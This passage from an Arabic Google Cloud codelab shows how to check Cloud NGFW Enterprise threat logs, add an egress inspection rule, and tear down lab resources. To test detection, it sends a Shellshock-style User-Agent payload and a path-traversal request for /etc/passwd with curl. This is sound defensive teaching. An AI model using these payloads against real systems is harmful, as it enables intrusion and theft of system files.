اختَر أحد الهجمات وانقر على "عرض سجلّ التدقيق" (View audit log) على الجانب الأيسر (افتحه في علامة تبويب جديدة للرجوع بسهولة). وسِّع الهجوم لعرض التفاصيل:

يمكنك اختياريًا استبدال فلتر "مستكشف السجلّ" بطلب البحث أدناه:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
من المفترض أن تظهر إدخالات سجلّ التهديدات على النحو التالي:

يمكن التحقّق من الحِزم التي اعترضتها Cloud Firewall باستخدام فلتر "مستكشف السجلات" أدناه (مفيد لأغراض تحديد المشاكل وحلّها):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

يمكنك مواصلة فحص عدد الزيارات على الإنترنت (اختياري) أو إغلاق جلسة SSH والانتقال إلى الفصل التالي لمعرفة خطوات التنظيف.
[اختياري] فحص حركة بيانات الإنترنت
كما تم التحقّق من ذلك في القسم السابق، فإنّ عمليات فحص تدفق البيانات حتى الآن هي داخل الشبكة الفرعية/شبكة VPC (من الشرق إلى الغرب) والزيارات الواردة من الإنترنت (من الشمال إلى الجنوب). يمكن أيضًا ضبط Cloud NGFW Enterprise لفحص جميع زيارات الإنترنت (الخارجية من الشمال إلى الجنوب) من خلال إنشاء قاعدة خروج جديدة باستخدام Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
ارجع إلى الجهاز الافتراضي للعميل وأعِد إرسال الهجمات ذات الخطورة العالية إلى عنوان IP الخاص بالخادم الخارجي:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
الناتج المتوقّع:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
انتقِل إلى علامة التبويب "التهديدات" في Cloud Console للتحقّق من السجلّات (قد تحتاج إلى إعادة التحميل عدة مرات). كان من المفترض أن يتم تحديد الهجمات وتسجيلها مرة أخرى، ولكن أصبح عنوان IP المصدر داخليًا الآن لأنّه يتم تفعيل قاعدة الخروج أولاً:

أغلِق جلسة SSH وانتقِل إلى القسم التالي للاطّلاع على خطوات التنظيف.
8. خطوات التنظيف
تنظيف مكونات Cloud NGFW Enterprise
أدرِج عمليات الربط الحالية في Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
احذف ربط Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
أدرِج نقاط نهاية Cloud NGFW Enterprise الحالية:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
احذف نقطة نهاية Cloud NGFW Enterprise، وقد تستغرق هذه العملية حوالي 20 دقيقة:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
تأكَّد من حذف Cloud NGFW Enterprise من خلال تنفيذ الأمر أدناه:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
احذف مجموعة ملفات تعريف الأمان وملف تعريف منع التهديدات:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
تنظيف عملية الإعداد الأساسية
انتقِل إلى الخطوة التالية إذا كنت تفضّل حذف الموارد الأساسية.
حدِّد متغيرات البيئة إذا لزم الأمر. من Cloud Shell، احذف مكوّنات "موازنة الحمل للشبكة":
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
إزالة مثيلات:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
يمكنك اختياريًا اتّباع الخطوات أدناه في حال تم تغيير أدوار tagAdmin وtagUsers:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
إزالة مفتاح العلامة وقيمها:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
احذف سياسة الشبكة والربط في Cloud Firewall:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
احذف Cloud Router وCloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
احذف عناوين IP المحجوزة:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
أخيرًا، احذف الشبكة الفرعية وشبكة السحابة الافتراضية الخاصة (VPC):
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. تهانينا!
تهانينا، لقد أكملت بنجاح الدرس التطبيقي حول الترميز: Cloud NGFW Enterprise لفحص حركة البيانات بين الشرق والغرب والشمال والجنوب.